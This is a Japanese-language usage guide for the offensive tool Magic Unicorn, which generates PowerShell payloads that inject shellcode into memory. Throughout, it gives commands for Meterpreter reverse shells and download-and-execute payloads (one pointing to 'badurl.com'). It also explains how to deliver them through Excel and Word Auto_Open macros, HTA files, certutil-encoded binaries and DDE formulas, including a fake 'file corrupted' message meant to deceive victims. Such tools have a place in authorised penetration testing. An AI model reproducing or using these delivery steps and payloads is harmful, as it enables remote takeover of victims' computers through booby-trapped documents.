
Unicornは、PowerShellダウングレード攻撃を使用し、シェルコードをメモリに直接注入するためのシンプルなツールです。Matthew GraeberのPowerShell攻撃と、David Kennedy (TrustedSec) および Josh Kelly がDefcon 18で発表したPowerShellバイパス技術に基づいています。
作者: Dave Kennedy (@HackingDave) ウェブサイト: https://www.trustedsec.com
Magic Unicorn は、PowerShell ダウングレード攻撃を使用し、シェルコードをメモリに直接注入するためのシンプルなツールです。Matthew Graeber の PowerShell 攻撃と、David Kennedy (TrustedSec) および Josh Kelly が Defcon 18 で発表した PowerShell バイパス手法に基づいています。
使用方法は簡単で、Magic Unicorn を実行するだけです(Metasploit を使用する場合は、Metasploit がインストールされ、正しいパスにあることを確認してください)。Magic Unicorn は自動的に PowerShell コマンドを生成します。この PowerShell コードをコマンドラインウィンドウやペイロード配信システムにコピー&ペーストするだけで使用できます。Unicorn は独自のシェルコード、Cobalt Strike、Metasploit をサポートしています。
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
すべてが2つのファイル(powershell_attack.txt と unicorn.rc)に生成されます。テキストファイルには、PowerShell攻撃をメモリに注入するために必要なすべてのコードが含まれています。何らかのリモートコマンド注入が可能な場所が必要です。多くの場合、これはExcel/Word文書、Metasploitのpsexec_commands、SQLiなどを通じて実現できます。この攻撃を使用できるシナリオは非常に多くあります。powershell_attack.txtのコマンドを任意のコマンドプロンプトウィンドウ、またはpowershell実行可能ファイルを呼び出せる場所に貼り付けるだけで、シェルが返されます。この攻撃は、Meterpreterペイロードだけでなく、windows/download_execペイロード方式もサポートしています。ダウンロード&実行を使用する場合は、python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe と入力するだけで、PowerShellコードがペイロードをダウンロードして実行します。
攻撃をキャプチャするには、リスナーを有効にしておく必要があることに注意してください。
マクロ攻撃を行うには、ファイル、プロパティ、リボンから開発を選択する必要があります。その後、開発タブが表示されます。新しいマクロを作成し、名前を Auto_Open にして、生成されたコードを貼り付けます。これで自動的に実行されます。このとき、ファイルが破損しているというメッセージが表示され、Excel文書が自動的に閉じられます。これは正常な動作です!これは、被害者にExcel文書が破損していると思わせるためのものです。これにより、PowerShellインジェクションを介してシェルを取得できます。
Office365/2016以降のバージョンのWordに展開する場合は、出力の最初の行を Sub Auto_Open() から Sub AutoOpen() に変更する必要があります。
マクロ自体の名前も、従来の Auto_Open ではなく AutoOpen にする必要があります。
注意: Excelにコピー&ペーストする際、余分なスペースが追加される場合は、変数 "x" の各PowerShellコードセクションの後にそれらを削除する必要があります。削除しないと構文エラーが発生します!
HTA攻撃は自動的に2つのファイルを生成します。最初のindex.htmlはブラウザにLauncher.htaを使用するよう指示し、Launcher.htaには悪意のあるPowerShellインジェクションコードが含まれます。すべてのファイルは hta_access/ フォルダにエクスポートされ、3つの主要なファイルがあります。1つ目はindex.html、2つ目はLauncher.hta、最後にunicorn.rcファイルです。msfconsole -r unicorn.rc を実行してMetasploitのリスナーを起動できます。
HTA攻撃が正しく機能するには、ユーザーが許可をクリックして承諾する必要があります。
certutil攻撃ベクトルはMatthew Graeber(@mattifestation)によって発見されました。これにより、バイナリファイルをbase64形式に変換し、被害者のマシンでcertutilを使用してバイナリに戻すことができます。この攻撃は事実上すべてのシステムで動作し、偽の証明書ファイルを介して被害者のマシンにバイナリを転送できます。この攻撃を使用するには、実行可能ファイルをUnicornのパスに置き、python unicorn.py <exe_name> crt を実行してbase64出力を取得します。完了したら、decode_attack/ フォルダにファイルが含まれています。batファイルは、Windowsマシンで実行してバイナリに戻すためのコマンドです。
この攻撃方法では、任意のPowerShellファイル(.ps1)をエンコードされたコマンドまたはマクロに変換できます。
マクロオプションを選択した場合、大きなps1ファイルはVBAで許可されるキャリッジリターンの数を超える可能性があります。各VBA文字列の文字数は、パラメータとして整数を渡すことで変更できます。
例:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
最後の例では、デフォルトの380文字ではなく500文字の文字列を使用するため、VBAでのキャリッジリターンが少なくなります。
この攻撃ベクトルは、WordまたはExcelに配置するDDEAUTO式を生成します。COMオブジェクトDDEInitilizeおよびDDEExecuteを使用すると、Office内で直接数式を作成でき、マクロを必要とせずにリモートコード実行が可能になります。この攻撃は文書化されており、詳細な手順は以下にあります。
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
この攻撃を使用するには、次の例を実行します。
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
生成されると、Officeコードを含む powershell_attack.txt と、msfconsole -r unicorn.rc で呼び出してペイロードのリスナーを処理できる unicorn.rc ファイルが生成されます。さらに、download.ps1 もエクスポートされます(後述)。
ペイロードを適用するには、例として(sensepostの記事より):
Office文書が開かれると、PowerShellインジェクションを介してシェルが取得されます。DDEは文字サイズに制限があるため、ダウンロード方法としてInvoke-Expression(IEX)を使用する必要があることに注意してください。
DDE攻撃は、サイズ制限があるため、download.ps1(PowerShellインジェクション攻撃)をダウンロードしようとします。download.ps1 を被害者マシンがアクセス可能な場所に移動する必要があります。つまり、download.ps1 をApache2ディレクトリにホスティングし、被害者マシンがアクセスできるようにする必要があります。